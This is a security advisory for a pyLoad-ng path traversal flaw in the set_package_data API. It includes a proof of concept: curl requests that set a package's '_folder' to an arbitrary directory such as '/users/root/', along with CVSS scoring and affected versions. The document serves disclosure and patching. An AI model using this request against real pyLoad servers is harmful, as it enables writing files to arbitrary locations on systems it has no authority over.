GHSA-838g-gr43-qqg9

Suggest an improvement
Source
https://github.com/advisories/GHSA-838g-gr43-qqg9
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-838g-gr43-qqg9/GHSA-838g-gr43-qqg9.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-838g-gr43-qqg9
Aliases
Published
2026-05-05T21:18:19Z
Modified
2026-06-08T20:00:11Z
Severity
  • 8.1 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H CVSS Calculator
Summary
PyLoad vulnerable to Path Traversal via Package Folder Name in set_package_data
Details

Summary

No sanitization of package folder name allows writing files anywhere outside the intended download directory.

Affected Component

  • src/pyload/core/api/__init__.py
  • Function: set_package_data()

Details

When passing a folder name in the set_package_data() API function call inside the data object with key "_folder", there is no sanitization at all, allowing a user with Perms.MODIFY to specify arbitrary directories as download locations for a package.

PoC

  1. Create a package, note response package ID e.g. 5
curl -X 'POST' \
  'http://localhost:8000/api/add_package' \
  -H 'accept: application/json' \
  -H 'X-API-Key: <valid api key>' \
  -H 'Content-Type: application/json' \
  -d '{
  "name": "set_package_data_exploit_poc",
  "links": [
    "http://example.com/file.txt"
  ],
  "dest": 1
}'
  1. Call set_package_data for this package ID with an arbitrary directory
curl -X 'POST' \
  'http://localhost:8000/api/set_package_data' \
  -H 'accept: */*' \
  -H 'X-API-Key: <valid api key>' \
  -H 'Content-Type: application/json' \
  -d '{
  "package_id": 5,
  "data": {
    "_folder": "/users/root/"
  }
}'
  1. New download folder will be set without any checks
curl -X 'GET' \
  'http://localhost:8000/api/get_queue' \
  -H 'accept: application/json' \
  -H 'X-API-Key: <valid api key>'

Response:

[
  {
    "pid": 5,
    "name": "set_package_data_exploit_poc",
    "folder": "/users/root/",
    "site": "",
    "password": "",
    "dest": 1,
    "order": 1,
    "linksdone": 0,
    "sizedone": 0,
    "sizetotal": 0,
    "linkstotal": 1,
    "links": null,
    "fids": null
  }
]

Impact

Allows Absolute Path Traversal to write in an arbitrary directory as long as the pyLoad process has write access.

Database specific 
{
    "cwe_ids":  [
        "CWE-22",
        "CWE-36"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-05-05T21:18:19Z",
    "nvd_published_at":  "2026-05-11T18:16:35Z",
    "severity":  "HIGH"
}
References

Affected packages

PyPI / pyload-ng

Package

Name
pyload-ng
View open source insights on deps.dev
Purl
pkg:pypi/pyload-ng

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
0.5.0b3.dev100

Affected versions

0.*
0.5.0a5.dev528
0.5.0a5.dev532
0.5.0a5.dev535
0.5.0a5.dev536
0.5.0a5.dev537
0.5.0a5.dev539
0.5.0a5.dev540
0.5.0a5.dev545
0.5.0a5.dev562
0.5.0a5.dev564
0.5.0a5.dev565
0.5.0a6.dev570
0.5.0a6.dev578
0.5.0a6.dev587
0.5.0a7.dev596
0.5.0a8.dev602
0.5.0a9.dev615
0.5.0a9.dev629
0.5.0a9.dev632
0.5.0a9.dev641
0.5.0a9.dev643
0.5.0a9.dev655
0.5.0a9.dev806
0.5.0b1.dev1
0.5.0b1.dev2
0.5.0b1.dev3
0.5.0b1.dev4
0.5.0b1.dev5
0.5.0b2.dev9
0.5.0b2.dev10
0.5.0b2.dev11
0.5.0b2.dev12
0.5.0b3.dev13
0.5.0b3.dev14
0.5.0b3.dev17
0.5.0b3.dev18
0.5.0b3.dev19
0.5.0b3.dev20
0.5.0b3.dev21
0.5.0b3.dev22
0.5.0b3.dev24
0.5.0b3.dev26
0.5.0b3.dev27
0.5.0b3.dev28
0.5.0b3.dev29
0.5.0b3.dev30
0.5.0b3.dev31
0.5.0b3.dev32
0.5.0b3.dev33
0.5.0b3.dev34
0.5.0b3.dev35
0.5.0b3.dev38
0.5.0b3.dev39
0.5.0b3.dev40
0.5.0b3.dev41
0.5.0b3.dev42
0.5.0b3.dev43
0.5.0b3.dev44
0.5.0b3.dev45
0.5.0b3.dev46
0.5.0b3.dev47
0.5.0b3.dev48
0.5.0b3.dev49
0.5.0b3.dev50
0.5.0b3.dev51
0.5.0b3.dev52
0.5.0b3.dev53
0.5.0b3.dev54
0.5.0b3.dev57
0.5.0b3.dev60
0.5.0b3.dev62
0.5.0b3.dev64
0.5.0b3.dev65
0.5.0b3.dev66
0.5.0b3.dev67
0.5.0b3.dev68
0.5.0b3.dev69
0.5.0b3.dev70
0.5.0b3.dev71
0.5.0b3.dev72
0.5.0b3.dev73
0.5.0b3.dev74
0.5.0b3.dev75
0.5.0b3.dev76
0.5.0b3.dev77
0.5.0b3.dev78
0.5.0b3.dev79
0.5.0b3.dev80
0.5.0b3.dev81
0.5.0b3.dev82
0.5.0b3.dev85
0.5.0b3.dev87
0.5.0b3.dev88
0.5.0b3.dev89
0.5.0b3.dev90
0.5.0b3.dev91
0.5.0b3.dev92
0.5.0b3.dev93
0.5.0b3.dev94
0.5.0b3.dev95
0.5.0b3.dev96
0.5.0b3.dev97
0.5.0b3.dev98
0.5.0b3.dev99

Database specific

last_known_affected_version_range 
"<= 0.5.0b3.dev99"
source 
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-838g-gr43-qqg9/GHSA-838g-gr43-qqg9.json"